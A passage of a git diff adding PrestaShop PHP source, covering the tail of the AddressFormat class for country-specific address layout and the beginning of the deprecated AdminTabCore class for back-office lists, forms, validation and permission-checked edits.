($originalFormattedPatternList = explode(' ', $currentLine)) + // Foreach the available pattern + foreach ($originalFormattedPatternList as $patternNum => $pattern) + { + // Var allows to modify the good formatted key value when multiple key exist into the same pattern + $mainFormattedKey = ''; + + // Multiple key can be found in the same pattern + foreach ($currentKeyList as $key) + { + // Check if we need to use an older modified pattern if a key has already be matched before + $replacedValue = empty($mainFormattedKey) ? $pattern : $formattedValueList[$mainFormattedKey]; + if (($formattedValue = preg_replace('/'.$key.'/', $formattedValueList[$key], $replacedValue, -1, $count))) + if ($count) + { + // Allow to check multiple key in the same pattern, + if (empty($mainFormattedKey)) + $mainFormattedKey = $key; + // Set the pattern value to an empty string if an older key has already been matched before + if ($mainFormattedKey != $key) + $formattedValueList[$key] = ''; + // Store the new pattern value + $formattedValueList[$mainFormattedKey] = $formattedValue; + unset($originalFormattedPatternList[$patternNum]); + } + } + } + } + + /* + ** Cleaned the layout set by the user + */ + public static function cleanOrderedAddress(&$orderedAddressField) + { + foreach ($orderedAddressField as &$line) + { + $cleanedLine = ''; + if (($keyList = preg_split(self::_CLEANING_REGEX_, $line, -1, PREG_SPLIT_NO_EMPTY))) + { + foreach ($keyList as $key) + $cleanedLine .= $key.' '; + $cleanedLine = trim($cleanedLine); + $line = $cleanedLine; + } + } + } + + /* + * Returns the formatted fields with associated values + * + * @address is an instancied Address object + * @addressFormat is the format + * @return double Array + */ + public static function getFormattedAddressFieldsValues($address, $addressFormat, $id_lang = null) + { + if (!$id_lang) + $id_lang = Context::getContext()->language->id; + $tab = array(); + $temporyObject = array(); + + // Check if $address exist and it's an instanciate object of Address + if ($address && ($address instanceof Address)) + foreach ($addressFormat as $line) + { + if (($keyList = preg_split(self::_CLEANING_REGEX_, $line, -1, PREG_SPLIT_NO_EMPTY)) && is_array($keyList)) + { + foreach ($keyList as $pattern) + if ($associateName = explode(':', $pattern)) + { + $totalName = count($associateName); + if ($totalName == 1 && isset($address->{$associateName[0]})) + $tab[$associateName[0]] = $address->{$associateName[0]}; + else + { + $tab[$pattern] = ''; + + // Check if the property exist in both classes + if (($totalName == 2) && class_exists($associateName[0]) && + property_exists($associateName[0], $associateName[1]) && + property_exists($address, 'id_'.strtolower($associateName[0]))) + { + $idFieldName = 'id_'.strtolower($associateName[0]); + + if (!isset($temporyObject[$associateName[0]])) + $temporyObject[$associateName[0]] = new $associateName[0]($address->{$idFieldName}); + if ($temporyObject[$associateName[0]]) + $tab[$pattern] = (is_array($temporyObject[$associateName[0]]->{$associateName[1]})) ? + ((isset($temporyObject[$associateName[0]]->{$associateName[1]}[$id_lang])) ? + $temporyObject[$associateName[0]]->{$associateName[1]}[$id_lang] : '') : + $temporyObject[$associateName[0]]->{$associateName[1]}; + } + } + } + AddressFormat::_setOriginalDisplayFormat($tab, $line, $keyList); + } + } + AddressFormat::cleanOrderedAddress($addressFormat); + // Free the instanciate objects + foreach ($temporyObject as &$object) + unset($object); + return $tab; + } + + /** + * Generates the full address text + * @param address is an instanciate object of Address class + * @param patternrules is a defined rules array to avoid some pattern + * @param newLine is a string containing the newLine format + * @param separator is a string containing the separator format + * @return string + */ + public static function generateAddress(Address $address, $patternRules = array(), $newLine = "\r\n", $separator = ' ', $style = array()) + { + $addressFields = AddressFormat::getOrderedAddressFields($address->id_country); + $addressFormatedValues = AddressFormat::getFormattedAddressFieldsValues($address, $addressFields); + + $addressText = ''; + foreach ($addressFields as $line) + if (($patternsList = preg_split(self::_CLEANING_REGEX_, $line, -1, PREG_SPLIT_NO_EMPTY))) + { + $tmpText = ''; + foreach ($patternsList as $pattern) + if ((!array_key_exists('avoid', $patternRules)) || + (array_key_exists('avoid', $patternRules) && !in_array($pattern, $patternRules['avoid']))) + $tmpText .= (isset($addressFormatedValues[$pattern]) && !empty($addressFormatedValues[$pattern])) ? + (((isset($style[$pattern])) ? + (sprintf($style[$pattern], $addressFormatedValues[$pattern])) : + $addressFormatedValues[$pattern]).$separator) : ''; + $tmpText = trim($tmpText); + $addressText .= (!empty($tmpText)) ? $tmpText.$newLine: ''; + } + + $addressText = rtrim($addressText, $newLine); + $addressText = rtrim($addressText, $separator); + + return $addressText; + } + + public static function generateAddressSmarty($params, &$smarty) + { + return AddressFormat::generateAddress( + $params['address'], + (isset($params['patternRules']) ? $params['patternRules'] : array()), + (isset($params['newLine']) ? $params['newLine'] : "\r\n"), + (isset($params['separator']) ? $params['separator'] : ' '), + (isset($params['style']) ? $params['style'] : array()) + ); + } + + /** + * Returns selected fields required for an address in an array according to a selection hash + * @return array String values + */ + public static function getValidateFields($className) + { + $propertyList = array(); + + if (class_exists($className)) + { + $object = new $className(); + $reflect = new ReflectionObject($object); + + // Check if the property is accessible + $publicProperties = $reflect->getProperties(ReflectionProperty::IS_PUBLIC); + foreach ($publicProperties as $property) + { + $propertyName = $property->getName(); + if ((!in_array($propertyName, AddressFormat::$forbiddenPropertyList)) && + (!preg_match('#id|id_\w#', $propertyName))) + $propertyList[] = $propertyName; + } + unset($object); + unset($reflect); + } + return $propertyList; + } + + /* + * Return a list of liable class of the className + */ + public static function getLiableClass($className) + { + $objectList = array(); + + if (class_exists($className)) + { + $object = new $className(); + $reflect = new ReflectionObject($object); + + // Get all the name object liable to the Address class + $publicProperties = $reflect->getProperties(ReflectionProperty::IS_PUBLIC); + foreach ($publicProperties as $property) + { + $propertyName = $property->getName(); + if (preg_match('#id_\w#', $propertyName) && strlen($propertyName) > 3) + { + $nameObject = ucfirst(substr($propertyName, 3)); + if (!in_array($nameObject, self::$forbiddenClassList) && + class_exists($nameObject)) + $objectList[$nameObject] = new $nameObject(); + } + } + unset($object); + unset($reflect); + } + return $objectList; + } + + /** + * Returns address format fields in array by country + * + * @param Integer PS_COUNTRY.id if null using default country + * @return Array String field address format + */ + public static function getOrderedAddressFields($id_country = 0, $split_all = false, $cleaned = false) + { + $out = array(); + $field_set = explode("\n", AddressFormat::getAddressCountryFormat($id_country)); + foreach ($field_set as $field_item) + if ($split_all) + { + if ($cleaned) + $keyList = ($cleaned) ? preg_split(self::_CLEANING_REGEX_, $field_item, -1, PREG_SPLIT_NO_EMPTY) : + explode(' ', $field_item); + foreach ($keyList as $word_item) + $out[] = trim($word_item); + } + else + $out[] = ($cleaned) ? implode(' ', preg_split(self::_CLEANING_REGEX_, trim($field_item), -1, PREG_SPLIT_NO_EMPTY)) + : trim($field_item); + return $out; + } + + /* + ** Return a data array containing ordered, formatedValue and object fields + */ + public static function getFormattedLayoutData($address) + { + $layoutData = array(); + + if ($address && $address instanceof Address) + { + $layoutData['ordered'] = AddressFormat::getOrderedAddressFields((int)$address->id_country); + $layoutData['formated'] = AddressFormat::getFormattedAddressFieldsValues($address, $layoutData['ordered']); + $layoutData['object'] = array(); + + $reflect = new ReflectionObject($address); + $public_properties = $reflect->getProperties(ReflectionProperty::IS_PUBLIC); + foreach ($public_properties as $property) + if (isset($address->{$property->getName()})) + $layoutData['object'][$property->getName()] = $address->{$property->getName()}; + } + return $layoutData; + } + + /** + * Returns address format by country if not defined using default country + * + * @param Integer PS_COUNTRY.id + * @return String field address format + */ + public static function getAddressCountryFormat($id_country = 0) + { + $id_country = (int)$id_country; + + $tmp_obj = new AddressFormat(); + $tmp_obj->id_country = $id_country; + $out = $tmp_obj->getFormat($tmp_obj->id_country); + unset($tmp_obj); + return $out; + } + + /** + * Returns address format by country + * + * @param Integer PS_COUNTRY.id + * @return String field address format + */ + public function getFormat($id_country) + { + $out = $this->_getFormatDB($id_country); + if (empty($out)) + $out = $this->_getFormatDB(Configuration::get('PS_COUNTRY_DEFAULT')); + return $out; + } + + protected function _getFormatDB($id_country) + { + if (!Cache::isStored('AddressFormat::_getFormatDB'.$id_country)) + { + $format = Db::getInstance()->getValue(' + SELECT format + FROM `'._DB_PREFIX_.$this->def['table'].'` + WHERE `id_country` = '.(int)$id_country); + Cache::store('AddressFormat::_getFormatDB'.$id_country, trim($format)); + } + return Cache::retrieve('AddressFormat::_getFormatDB'.$id_country); + } +} diff --git a/classes/AdminTab.php b/classes/AdminTab.php new file mode 100755 index 0000000..9746720 --- /dev/null +++ b/classes/AdminTab.php @@ -0,0 +1,2434 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @deprecated 1.5.0 + */ +abstract class AdminTabCore +{ + /** @var integer Tab id */ + public $id = -1; + + /** @var string Associated table name */ + public $table; + + /** @var string Object identifier inside the associated table */ + protected $identifier = false; + + /** @var string Tab name */ + public $className; + + /** @var string Security token */ + public $token; + + /** @var boolean Automatically join language table if true */ + public $lang = false; + + /** @var boolean Tab Automatically displays edit/delete icons if true */ + public $edit = false; + + /** @var boolean Tab Automatically displays view icon if true */ + public $view = false; + + /** @var boolean Tab Automatically displays delete icon if true */ + public $delete = false; + + /** @var boolean Table records are not deleted but marked as deleted */ + public $deleted = false; + + /** @var boolean Tab Automatically displays duplicate icon if true */ + public $duplicate = false; + + /** @var boolean Content line is clickable if true */ + public $noLink = false; + + /** @var boolean select other required fields */ + public $requiredDatabase = false; + + /** @var boolean Tab Automatically displays '$color' as background color on listing if true */ + public $colorOnBackground = false; + + /** @var string Add fields into data query to display list */ + protected $_select; + + /** @var string Join tables into data query to display list */ + protected $_join; + + /** @var string Add conditions into data query to display list */ + protected $_where; + + /** @var string Group rows into data query to display list */ + protected $_group; + + /** @var string Having rows into data query to display list */ + protected $_having; + + /** @var array Name and directory where class image are located */ + public $fieldImageSettings = array(); + + /** @var string Image type */ + public $imageType = 'jpg'; + + /** @var array Fields to display in list */ + public $fieldsDisplay = array(); + + public $optionTitle = null; + + /** @var string shop */ + public $shopLinkType; + + /** @var bool */ + public $shopShareDatas = false; + + /** @var array Cache for query results */ + protected $_list = array(); + + /** @var integer Number of results in list */ + protected $_listTotal = 0; + + /** @var array WHERE clause determined by filter fields */ + protected $_filter; + + /** @var array Temporary SQL table WHERE clause determinated by filter fields */ + protected $_tmpTableFilter = ''; + + /** @var array Number of results in list per page (used in select field) */ + protected $_pagination = array(20, 50, 100, 300); + + /** @var string ORDER BY clause determined by field/arrows in list header */ + protected $_orderBy; + + /** @var string Default ORDER BY clause when $_orderBy is not defined */ + protected $_defaultOrderBy = false; + + /** @var string Order way (ASC, DESC) determined by arrows in list header */ + protected $_orderWay; + + /** @var integer Max image size for upload + * As of 1.5 it is recommended to not set a limit to max image size + **/ + protected $maxImageSize; + + /** @var array Errors displayed after post processing */ + public $_errors = array(); + + /** @var array Confirmations displayed after post processing */ + protected $_conf; + + /** @var object Object corresponding to the tab */ + protected $_object = false; + + /** @var array tabAccess */ + public $tabAccess; + + /** @var string specificConfirmDelete */ + public $specificConfirmDelete = NULL; + + public static $currentIndex; + + public $smarty; + + protected $identifiersDnd = array('id_product' => 'id_product', 'id_category' => 'id_category_to_move','id_cms_category' => 'id_cms_category_to_move', 'id_cms' => 'id_cms', 'id_attribute' => 'id_attribute', 'id_attribute_group' => 'id_attribute_group', 'id_feature' => 'id_feature', 'id_carrier' => 'id_carrier'); + + /** @var bool Redirect or not ater a creation */ + protected $_redirect = true; + + /** @var bool If false, don't add form tags in options forms */ + protected $formOptions = true; + + public $_fieldsOptions = array(); + + /** + * @since 1.5.0 + * @var array + */ + public $optionsList = array(); + + /** + * @since 1.5.0 + * @var Context + */ + public $context; + + protected $_languages = NULL; + protected $_defaultFormLanguage = NULL; + + protected $_includeObj = array(); + protected $_includeVars = false; + protected $_includeContainer = true; + + public $ajax = false; + + /** + * if true, ajax-tab will not wait 1 sec + * @var boolean + */ + public $ignore_sleep = false; + + public static $tabParenting = array( + 'AdminCms' => 'AdminCmsContent', + 'AdminCmsCategories' => 'AdminCmsContent', + 'AdminOrdersStates' => 'AdminStatuses', + 'AdminAttributeGenerator' => 'AdminProducts', + 'AdminAttributes' => 'AdminAttributesGroups', + 'AdminFeaturesValues' => 'AdminFeatures', + 'AdminReturnStates' => 'AdminStatuses', + 'AdminStatsTab' => 'AdminStats' + ); + + public function __construct() + { + $this->context = Context::getContext(); + + $this->id = Tab::getIdFromClassName(get_class($this)); + $this->_conf = array( + 1 => $this->l('Deletion successful'), 2 => $this->l('Selection successfully deleted'), + 3 => $this->l('Creation successful'), 4 => $this->l('Update successful'), + 5 => $this->l('Status update successful'), 6 => $this->l('Settings update successful'), + 7 => $this->l('Image successfully deleted'), 8 => $this->l('Module downloaded successfully'), + 9 => $this->l('Thumbnails successfully regenerated'), 10 => $this->l('Message sent to the customer'), + 11 => $this->l('Comment added'), 12 => $this->l('Module installed successfully'), + 13 => $this->l('Module uninstalled successfully'), 14 => $this->l('Language successfully copied'), + 15 => $this->l('Translations successfully added'), 16 => $this->l('Module transplanted successfully to hook'), + 17 => $this->l('Module removed successfully from hook'), 18 => $this->l('Upload successful'), + 19 => $this->l('Duplication completed successfully'), 20 => $this->l('Translation added successfully but the language has not been created'), + 21 => $this->l('Module reset successfully'), 22 => $this->l('Module deleted successfully'), + 23 => $this->l('Localization pack imported successfully'), 24 => $this->l('Refund Successful'), + 25 => $this->l('Images successfully moved'), + ); + if (!$this->identifier) $this->identifier = 'id_'.$this->table; + if (!$this->_defaultOrderBy) $this->_defaultOrderBy = $this->identifier; + $className = get_class($this); +// if ($className == 'AdminCategories' OR $className == 'AdminProducts') +// $className = 'AdminCatalog'; + $this->token = Tools::getAdminToken($className.(int)$this->id.(int)$this->context->employee->id); + if (!Shop::isFeatureActive()) + $this->shopLinkType = ''; + } + + + /** + * use translations files to replace english expression. + * + * @param mixed $string term or expression in english + * @param string $class + * @param boolan $addslashes if set to true, the return value will pass through addslashes(). Otherwise, stripslashes(). + * @param boolean $htmlentities if set to true(default), the return value will pass through htmlentities($string, ENT_QUOTES, 'utf-8') + * @return string the translation if available, or the english default text. + */ + protected function l($string, $class = 'AdminTab', $addslashes = FALSE, $htmlentities = TRUE) + { + // if the class is extended by a module, use modules/[module_name]/xx.php lang file + $currentClass = get_class($this); + if(Module::getModuleNameFromClass($currentClass)) + { + $string = str_replace('\'', '\\\'', $string); + return Translate::getModuleTranslation(Module::$classInModule[$currentClass], $string, $currentClass); + } + global $_LANGADM; + + if ($class == __CLASS__) + $class = 'AdminTab'; + + $key = md5(str_replace('\'', '\\\'', $string)); + $str = (key_exists(get_class($this).$key, $_LANGADM)) ? $_LANGADM[get_class($this).$key] : ((key_exists($class.$key, $_LANGADM)) ? $_LANGADM[$class.$key] : $string); + $str = $htmlentities ? htmlentities($str, ENT_QUOTES, 'utf-8') : $str; + return str_replace('"', '"', ($addslashes ? addslashes($str) : stripslashes($str))); + } + + /** + * ajaxDisplay is the default ajax return sytem + * + * @return void + */ + public function displayAjax() + { + } + /** + * Manage page display (form, list...) + */ + public function display() + { + // Include other tab in current tab + if ($this->includeSubTab('display', array('submitAdd2', 'add', 'update', 'view'))){} + + // Include current tab + elseif ((Tools::getValue('submitAdd'.$this->table) && count($this->_errors)) || isset($_GET['add'.$this->table])) + { + if ($this->tabAccess['add'] === '1') + { + $this->displayForm(); + if ($this->tabAccess['view']) + echo '

'.((Tools::getValue('back')) ? $this->l('Back') : $this->l('Back to list')).'
'; + } + else + echo $this->l('You do not have permission to add here'); + } + elseif (isset($_GET['update'.$this->table])) + { + if ($this->tabAccess['edit'] === '1' || ($this->table == 'employee' && $this->context->employee->id == Tools::getValue('id_employee'))) + { + $this->displayForm(); + if ($this->tabAccess['view']) + echo '

'.((Tools::getValue('back')) ? $this->l('Back') : $this->l('Back to list')).'
'; + } + else + echo $this->l('You do not have permission to edit here'); + } + elseif (isset($_GET['view'.$this->table])) + $this->{'view'.$this->table}(); + + else + { + $this->getList($this->context->language->id); + $this->displayList(); + echo '
'; + $this->displayOptionsList(); + $this->displayRequiredFields(); + $this->includeSubTab('display'); + } + } + + public function displayRequiredFields() + { + if (!$this->tabAccess['add'] || !$this->tabAccess['delete'] === '1' || !$this->requiredDatabase) + return; + $rules = call_user_func_array(array($this->className, 'getValidationRules'), array($this->className)); + $required_class_fields = array($this->identifier); + foreach ($rules['required'] as $required) + $required_class_fields[] = $required; + + echo '
+

'.$this->l('Set required fields for this section').'

+ '; + } + + public function includeSubTab($methodname, $actions = array()) + { + if (!isset($this->_includeTab) || !is_array($this->_includeTab)) + return false; + $key = 0; + $inc = false; + foreach ($this->_includeTab as $subtab => $extraVars) + { + /* New tab loading */ + $classname = 'Admin'.$subtab; + if (($module = Db::getInstance()->getValue('SELECT `module` FROM `'._DB_PREFIX_.'tab` WHERE `class_name` = \''.pSQL($classname).'\'')) && file_exists(_PS_MODULE_DIR_.'/'.$module.'/'.$classname.'.php')) + include_once(_PS_MODULE_DIR_.'/'.$module.'/'.$classname.'.php'); + elseif (file_exists(_PS_ADMIN_DIR_.'/tabs/'.$classname.'.php')) + include_once('tabs/'.$classname.'.php'); + if (!isset($this->_includeObj[$key])) + $this->_includeObj[$key] = new $classname; + $adminTab = $this->_includeObj[$key]; + $adminTab->token = $this->token; + + /* Extra variables addition */ + if (!empty($extraVars) && is_array($extraVars)) + foreach ($extraVars as $varKey => $varValue) + $adminTab->$varKey = $varValue; + + /* Actions management */ + foreach ($actions as $action) + { + switch ($action) + { + + case 'submitAdd1': + if (Tools::getValue('submitAdd'.$adminTab->table)) + $ok_inc = true; + break; + case 'submitAdd2': + if (Tools::getValue('submitAdd'.$adminTab->table) && count($adminTab->_errors)) + $ok_inc = true; + break; + case 'submitDel': + if (Tools::getValue('submitDel'.$adminTab->table)) + $ok_inc = true; + break; + case 'submitFilter': + if (Tools::isSubmit('submitFilter'.$adminTab->table)) + $ok_inc = true; + case 'submitReset': + if (Tools::isSubmit('submitReset'.$adminTab->table)) + $ok_inc = true; + default: + if (isset($_GET[$action.$adminTab->table])) + $ok_inc = true; + } + } + $inc = false; + if ((isset($ok_inc) && $ok_inc) || !count($actions)) + { + if (!$adminTab->viewAccess()) + { + echo Tools::displayError('Access denied.'); + return false; + } + if (!count($actions)) + if (($methodname == 'displayErrors' && count($adminTab->_errors)) || $methodname != 'displayErrors') + echo (isset($this->_includeTabTitle[$key]) ? '

'.$this->_includeTabTitle[$key].'

' : ''); + if ($adminTab->_includeVars) + foreach ($adminTab->_includeVars as $var => $value) + $adminTab->$var = $this->$value; + $adminTab->$methodname(); + $inc = true; + } + $key++; + } + return $inc; + } + + /** + * Manage page display (form, list...) + * + * @param string $className Allow to validate a different class than the current one + */ + public function validateRules($className = false) + { + if (!$className) + $className = $this->className; + + /* Class specific validation rules */ + $rules = call_user_func(array($className, 'getValidationRules'), $className); + + if ((count($rules['requiredLang']) || count($rules['sizeLang']) || count($rules['validateLang']))) + { + /* Language() instance determined by default language */ + $defaultLanguage = new Language((int)(Configuration::get('PS_LANG_DEFAULT'))); + + /* All availables languages */ + $languages = Language::getLanguages(false); + } + + /* Checking for required fields */ + foreach ($rules['required'] as $field) + if (($value = Tools::getValue($field)) == false && (string)$value != '0') + if (!Tools::getValue($this->identifier) || ($field != 'passwd' && $field != 'no-picture')) + $this->_errors[] = sprintf(Tools::displayError('The field %s is required.'), call_user_func(array($className, 'displayFieldName'), $field, $className)); + + /* Checking for multilingual required fields */ + foreach ($rules['requiredLang'] as $fieldLang) + if (($empty = Tools::getValue($fieldLang.'_'.$defaultLanguage->id)) === false || $empty !== '0' && empty($empty)) + $this->_errors[] = sprintf(Tools::displayError('The field %1$s is required at least in %2$s.'), call_user_func(array($className, 'displayFieldName'), $fieldLang, $className), $defaultLanguage->name); + + /* Checking for maximum fields sizes */ + foreach ($rules['size'] as $field => $maxLength) + if (Tools::getValue($field) !== false && Tools::strlen(Tools::getValue($field)) > $maxLength) + $this->_errors[] = sprintf(Tools::displayError('field %1$s is too long. (%2$d chars max)'), call_user_func(array($className, 'displayFieldName'), $field, $className), $maxLength); + + /* Checking for maximum multilingual fields size */ + foreach ($rules['sizeLang'] as $fieldLang => $maxLength) + foreach ($languages as $language) + if (Tools::getValue($fieldLang.'_'.$language['id_lang']) !== false && Tools::strlen(Tools::getValue($fieldLang.'_'.$language['id_lang'])) > $maxLength) + $this->_errors[] = sprintf(Tools::displayError('field %1$s is too long. (%2$d chars max, html chars including)'), call_user_func(array($className, 'displayFieldName'), $fieldLang, $className), $maxLength); + + /* Overload this method for custom checking */ + $this->_childValidation(); + + /* Checking for fields validity */ + foreach ($rules['validate'] AS $field => $function) + if (($value = Tools::getValue($field)) !== false AND !empty($value) AND ($field != 'passwd')) + if (!Validate::$function($value)) + $this->_errors[] = sprintf(Tools::displayError('The field %1$s (%2$s) is invalid.'), call_user_func(array($className, 'displayFieldName'), $field, $className)); + + /* Checking for passwd_old validity */ + if (($value = Tools::getValue('passwd')) != false) + { + if ($className == 'Employee' && !Validate::isPasswdAdmin($value)) + $this->_errors[] = sprintf(Tools::displayError('The field %1$s (%2$s) is invalid.'), call_user_func(array($className, 'displayFieldName'), 'passwd', $className)); + elseif ($className == 'Customer' && !Validate::isPasswd($value)) + $this->_errors[] = sprintf(Tools::displayError('The field %1$s (%2$s) is invalid.'), call_user_func(array($className, 'displayFieldName'), 'passwd', $className)); + } + + /* Checking for multilingual fields validity */ + foreach ($rules['validateLang'] as $fieldLang => $function) + foreach ($languages as $language) + if (($value = Tools::getValue($fieldLang.'_'.$language['id_lang'])) !== false && !empty($value)) + if (!Validate::$function($value)) + $this->_errors[] = sprintf(Tools::displayError('The field %1$s (%2$s) is invalid.'), call_user_func(array($className, 'displayFieldName'), $fieldLang, $className), $language['name']); + } + + /** + * Overload this method for custom checking + */ + protected function _childValidation() { } + + /** + * Overload this method for custom checking + * + * @param integer $id Object id used for deleting images + * @deprecated As of 1.5 use ObjectModel->deleteImage instead. + */ + public function deleteImage($id) + { + Tools::displayAsDeprecated(); + $dir = null; + /* Deleting object images and thumbnails (cache) */ + if (key_exists('dir', $this->fieldImageSettings)) + { + $dir = $this->fieldImageSettings['dir'].'/'; + if (file_exists(_PS_IMG_DIR_.$dir.$id.'.'.$this->imageType) && !unlink(_PS_IMG_DIR_.$dir.$id.'.'.$this->imageType)) + return false; + } + if (file_exists(_PS_TMP_IMG_DIR_.$this->table.'_'.$id.'.'.$this->imageType) && !unlink(_PS_TMP_IMG_DIR_.$this->table.'_'.$id.'.'.$this->imageType)) + return false; + if (file_exists(_PS_TMP_IMG_DIR_.$this->table.'_mini_'.$id.'.'.$this->imageType) && !unlink(_PS_TMP_IMG_DIR_.$this->table.'_mini_'.$id.'.'.$this->imageType)) + return false; + $types = ImageType::getImagesTypes(); + foreach ($types as $imageType) + if (file_exists(_PS_IMG_DIR_.$dir.$id.'-'.stripslashes($imageType['name']).'.'.$this->imageType) && !unlink(_PS_IMG_DIR_.$dir.$id.'-'.stripslashes($imageType['name']).'.'.$this->imageType)) + return false; + return true; + } + + /** + * ajaxPreProcess is a method called in ajax-tab.php before displayConf(). + * + * @return void + */ + public function ajaxPreProcess() + { + } + + /** + * ajaxProcess is the default handle method for request with ajax-tab.php + * + * @return void + */ + public function ajaxProcess() + { + } + + /** + * Manage page processing + */ + public function postProcess() + { + if (!isset($this->table)) + return false; + + // set token + $token = Tools::getValue('token') ? Tools::getValue('token') : $this->token; + + // Sub included tab postProcessing + $this->includeSubTab('postProcess', array('status', 'submitAdd1', 'submitDel', 'delete', 'submitFilter', 'submitReset')); + + /* Delete object image */ + if (isset($_GET['deleteImage'])) + { + if (Validate::isLoadedObject($object = $this->loadObject())) + if (($object->deleteImage())) + Tools::redirectAdmin(self::$currentIndex.'&add'.$this->table.'&'.$this->identifier.'='.Tools::getValue($this->identifier).'&conf=7&token='.$token); + $this->_errors[] = Tools::displayError('An error occurred during image deletion (cannot load object).'); + } + + /* Delete object */ + elseif (isset($_GET['delete'.$this->table])) + { + if ($this->tabAccess['delete'] === '1') + { + if (Validate::isLoadedObject($object = $this->loadObject()) && isset($this->fieldImageSettings)) + { + // check if request at least one object with noZeroObject + if (isset($object->noZeroObject) && count(call_user_func(array($this->className, $object->noZeroObject))) <= 1) + $this->_errors[] = Tools::displayError('You need at least one object.').' '.$this->table.'
'.Tools::displayError('You cannot delete all of the items.'); + else + { + if ($this->deleted) + { + $object->deleteImage(); + $object->deleted = 1; + if(method_exists($object, 'cleanPositions')) + $object->cleanPositions(); + if ($object->update()) + Tools::redirectAdmin(self::$currentIndex.'&conf=1&token='.$token); + } + elseif ($object->delete()) + { + if(method_exists($object, 'cleanPositions')) + $object->cleanPositions(); + Tools::redirectAdmin(self::$currentIndex.'&conf=1&token='.$token); + } + $this->_errors[] = Tools::displayError('An error occurred during deletion.'); + } + } + else + $this->_errors[] = Tools::displayError('An error occurred while deleting object.').' '.$this->table.' '.Tools::displayError('(cannot load object)'); + } + else + $this->_errors[] = Tools::displayError('You do not have permission to delete here.'); + } + + /* Change object statuts (active, inactive) */ + elseif ((isset($_GET['status'.$this->table]) || isset($_GET['status'])) && Tools::getValue($this->identifier)) + { + if ($this->tabAccess['edit'] === '1') + { + if (Validate::isLoadedObject($object = $this->loadObject())) + { + if ($object->toggleStatus()) + Tools::redirectAdmin(self::$currentIndex.'&conf=5'.((($id_category = (int)(Tools::getValue('id_category'))) && Tools::getValue('id_product')) ? '&id_category='.$id_category : '').'&token='.$token); + else + $this->_errors[] = Tools::displayError('An error occurred while updating status.'); + } + else + $this->_errors[] = Tools::displayError('An error occurred while updating status for object.').' '.$this->table.' '.Tools::displayError('(cannot load object)'); + } + else + $this->_errors[] = Tools::displayError('You do not have permission to edit here.'); + } + /* Move an object */ + elseif (isset($_GET['position'])) + { + if ($this->tabAccess['edit'] !== '1') + $this->_errors[] = Tools::displayError('You do not have permission to edit here.'); + elseif (!Validate::isLoadedObject($object = $this->loadObject())) + $this->_errors[] = Tools::displayError('An error occurred while updating status for object.').' '.$this->table.' '.Tools::displayError('(cannot load object)'); + elseif (!$object->updatePosition((int)(Tools::getValue('way')), (int)(Tools::getValue('position')))) + $this->_errors[] = Tools::displayError('Failed to update the position.'); + else + Tools::redirectAdmin(self::$currentIndex.'&'.$this->table.'Orderby=position&'.$this->table.'Orderway=asc&conf=5'.(($id_identifier = (int)(Tools::getValue($this->identifier))) ? ('&'.$this->identifier.'='.$id_identifier) : '').'&token='.$token); + } + /* Delete multiple objects */ + elseif (Tools::getValue('submitDel'.$this->table)) + { + if ($this->tabAccess['delete'] === '1') + { + if (isset($_POST[$this->table.'Box'])) + { + $object = new $this->className(); + if (isset($object->noZeroObject) && + // Check if all object will be deleted + (count(call_user_func(array($this->className, $object->noZeroObject))) <= 1 || count($_POST[$this->table.'Box']) == count(call_user_func(array($this->className, $object->noZeroObject))))) + $this->_errors[] = Tools::displayError('You need at least one object.').' '.$this->table.'
'.Tools::displayError('You cannot delete all of the items.'); + else + { + $result = true; + if ($this->deleted) + { + foreach(Tools::getValue($this->table.'Box') as $id) + { + $toDelete = new $this->className($id); + $toDelete->deleted = 1; + $result = $result && $toDelete->update(); + } + } + else + $result = $object->deleteSelection(Tools::getValue($this->table.'Box')); + + if ($result) + Tools::redirectAdmin(self::$currentIndex.'&conf=2&token='.$token); + $this->_errors[] = Tools::displayError('An error occurred while deleting selection.'); + } + // clean carriers positions + Carrier::cleanPositions(); + } + else + $this->_errors[] = Tools::displayError('You must select at least one element to delete.'); + } + else + $this->_errors[] = Tools::displayError('You do not have permission to delete here.'); + } + + /* Create or update an object */ + elseif (Tools::getValue('submitAdd'.$this->table)) + { + /* Checking fields validity */ + $this->validateRules(); + if (!count($this->_errors)) + { + $id = (int)(Tools::getValue($this->identifier)); + + /* Object update */ + if (isset($id) && !empty($id)) + { + if ($this->tabAccess['edit'] === '1' || ($this->table == 'employee' && $this->context->employee->id == Tools::getValue('id_employee') && Tools::isSubmit('updateemployee'))) + { + $object = new $this->className($id); + if (Validate::isLoadedObject($object)) + { + /* Specific to objects which must not be deleted */ + if ($this->deleted && $this->beforeDelete($object)) + { + // Create new one with old objet values + $objectNew = new $this->className($object->id); + $objectNew->id = NULL; + $objectNew->date_add = ''; + $objectNew->date_upd = ''; + + // Update old object to deleted + $object->deleted = 1; + $object->update(); + + // Update new object with post values + $this->copyFromPost($objectNew, $this->table); + $result = $objectNew->add(); + if (Validate::isLoadedObject($objectNew)) + $this->afterDelete($objectNew, $object->id); + } + else + { + $this->copyFromPost($object, $this->table); + $result = $object->update(); + $this->afterUpdate($object); + } + + if ($object->id) + $this->updateAssoShop($object->id); + + if (!$result) + $this->_errors[] = Tools::displayError('An error occurred while updating object.').' '.$this->table.' ('.Db::getInstance()->getMsgError().')'; + elseif ($this->postImage($object->id) && !count($this->_errors)) + { + if ($this->table == 'group') + $this->updateRestrictions($object->id); + $parent_id = (int)(Tools::getValue('id_parent', 1)); + // Specific back redirect + if ($back = Tools::getValue('back')) + Tools::redirectAdmin(urldecode($back).'&conf=4'); + // Specific scene feature + if (Tools::getValue('stay_here') == 'on' || Tools::getValue('stay_here') == 'true' || Tools::getValue('stay_here') == '1') + Tools::redirectAdmin(self::$currentIndex.'&'.$this->identifier.'='.$object->id.'&conf=4&updatescene&token='.$token); + // Save and stay on same form + if (Tools::isSubmit('submitAdd'.$this->table.'AndStay')) + Tools::redirectAdmin(self::$currentIndex.'&'.$this->identifier.'='.$object->id.'&conf=4&update'.$this->table.'&token='.$token); + // Save and back to parent + if (Tools::isSubmit('submitAdd'.$this->table.'AndBackToParent')) + Tools::redirectAdmin(self::$currentIndex.'&'.$this->identifier.'='.$parent_id.'&conf=4&token='.$token); + // Default behavior (save and back) + Tools::redirectAdmin(self::$currentIndex.($parent_id ? '&'.$this->identifier.'='.$object->id : '').'&conf=4&token='.$token); + } + } + else + $this->_errors[] = Tools::displayError('An error occurred while updating object.').' '.$this->table.' '.Tools::displayError('(cannot load object)'); + } + else + $this->_errors[] = Tools::displayError('You do not have 